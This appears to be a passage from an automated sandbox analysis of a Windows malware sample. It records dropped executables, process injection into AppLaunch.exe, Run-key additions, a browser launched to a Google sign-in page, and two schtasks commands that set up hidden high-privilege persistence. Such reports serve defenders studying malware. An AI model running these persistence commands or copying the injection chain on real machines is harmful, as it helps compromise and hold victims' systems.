31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
3bN57wO.exeExplorer.EXEmsedge.exemsedge.exemsedge.exemsedge.exemsedge.exepid process 3308 3bN57wO.exe 3308 3bN57wO.exe 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 5124 msedge.exe 5124 msedge.exe 3272 Explorer.EXE 3272 Explorer.EXE 3956 msedge.exe 3956 msedge.exe 5172 msedge.exe 5172 msedge.exe 544 msedge.exe 544 msedge.exe 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 3272 Explorer.EXE 6116 msedge.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3272 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
3bN57wO.exetoolspub2.exepid process 3308 3bN57wO.exe 5848 3736 toolspub2.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs
Processes:
msedge.exemsedge.exepid process 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Explorer.EXEDF6.exepowershell.exedescription pid process Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeDebugPrivilege 5420 DF6.exe Token: SeDebugPrivilege 6616 powershell.exe Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE Token: SeShutdownPrivilege 3272 Explorer.EXE Token: SeCreatePagefilePrivilege 3272 Explorer.EXE -
Suspicious use of FindShellTrayWindow 61 IoCs
Processes:
4lO623ao.exeExplorer.EXEmsedge.exemsedge.exepid process 2796 4lO623ao.exe 3272 Explorer.EXE 3272 Explorer.EXE 2796 4lO623ao.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 3272 Explorer.EXE 3272 Explorer.EXE 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe -
Suspicious use of SendNotifyMessage 55 IoCs
Processes:
4lO623ao.exemsedge.exemsedge.exepid process 2796 4lO623ao.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 544 msedge.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 2796 4lO623ao.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe 1792 msedge.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Broom.exepid process 3368 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exeES2fl98.exent4mT96.exeVx3VT98.exe1Fw40dI9.exe2Tw6295.exeAppLaunch.exe4lO623ao.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exedescription pid process target process PID 3216 wrote to memory of 1904 3216 5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe ES2fl98.exe PID 3216 wrote to memory of 1904 3216 5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe ES2fl98.exe PID 3216 wrote to memory of 1904 3216 5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe ES2fl98.exe PID 1904 wrote to memory of 4792 1904 ES2fl98.exe nt4mT96.exe PID 1904 wrote to memory of 4792 1904 ES2fl98.exe nt4mT96.exe PID 1904 wrote to memory of 4792 1904 ES2fl98.exe nt4mT96.exe PID 4792 wrote to memory of 448 4792 nt4mT96.exe Vx3VT98.exe PID 4792 wrote to memory of 448 4792 nt4mT96.exe Vx3VT98.exe PID 4792 wrote to memory of 448 4792 nt4mT96.exe Vx3VT98.exe PID 448 wrote to memory of 4972 448 Vx3VT98.exe 1Fw40dI9.exe PID 448 wrote to memory of 4972 448 Vx3VT98.exe 1Fw40dI9.exe PID 448 wrote to memory of 4972 448 Vx3VT98.exe 1Fw40dI9.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 4972 wrote to memory of 4624 4972 1Fw40dI9.exe AppLaunch.exe PID 448 wrote to memory of 3444 448 Vx3VT98.exe 2Tw6295.exe PID 448 wrote to memory of 3444 448 Vx3VT98.exe 2Tw6295.exe PID 448 wrote to memory of 3444 448 Vx3VT98.exe 2Tw6295.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 3444 wrote to memory of 3968 3444 2Tw6295.exe AppLaunch.exe PID 4792 wrote to memory of 3308 4792 nt4mT96.exe 3bN57wO.exe PID 4792 wrote to memory of 3308 4792 nt4mT96.exe 3bN57wO.exe PID 4792 wrote to memory of 3308 4792 nt4mT96.exe 3bN57wO.exe PID 4624 wrote to memory of 5036 4624 AppLaunch.exe schtasks.exe PID 4624 wrote to memory of 5036 4624 AppLaunch.exe schtasks.exe PID 4624 wrote to memory of 5036 4624 AppLaunch.exe schtasks.exe PID 4624 wrote to memory of 4312 4624 AppLaunch.exe schtasks.exe PID 4624 wrote to memory of 4312 4624 AppLaunch.exe schtasks.exe PID 4624 wrote to memory of 4312 4624 AppLaunch.exe schtasks.exe PID 1904 wrote to memory of 2796 1904 ES2fl98.exe 4lO623ao.exe PID 1904 wrote to memory of 2796 1904 ES2fl98.exe 4lO623ao.exe PID 1904 wrote to memory of 2796 1904 ES2fl98.exe 4lO623ao.exe PID 2796 wrote to memory of 544 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 544 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 3392 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 3392 2796 4lO623ao.exe msedge.exe PID 544 wrote to memory of 4392 544 msedge.exe msedge.exe PID 544 wrote to memory of 4392 544 msedge.exe msedge.exe PID 3392 wrote to memory of 848 3392 msedge.exe msedge.exe PID 3392 wrote to memory of 848 3392 msedge.exe msedge.exe PID 2796 wrote to memory of 5020 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 5020 2796 4lO623ao.exe msedge.exe PID 5020 wrote to memory of 560 5020 msedge.exe msedge.exe PID 5020 wrote to memory of 560 5020 msedge.exe msedge.exe PID 2796 wrote to memory of 5040 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 5040 2796 4lO623ao.exe msedge.exe PID 5040 wrote to memory of 1308 5040 msedge.exe msedge.exe PID 5040 wrote to memory of 1308 5040 msedge.exe msedge.exe PID 2796 wrote to memory of 3672 2796 4lO623ao.exe msedge.exe PID 2796 wrote to memory of 3672 2796 4lO623ao.exe msedge.exe PID 3672 wrote to memory of 1248 3672 msedge.exe msedge.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe"C:\Users\Admin\AppData\Local\Temp\5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ES2fl98.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ES2fl98.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nt4mT96.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\nt4mT96.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vx3VT98.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vx3VT98.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Fw40dI9.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Fw40dI9.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Tw6295.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Tw6295.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3bN57wO.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3bN57wO.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffcec5246f8,0x7ffcec524708,0x7ffcec5247186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4072 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4468 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5128 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5380 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6448 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7236 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7256 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7560 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7560 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7676 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7416 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11699420267868490001,6475287359059538717,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8016 /prefetch:16⤵
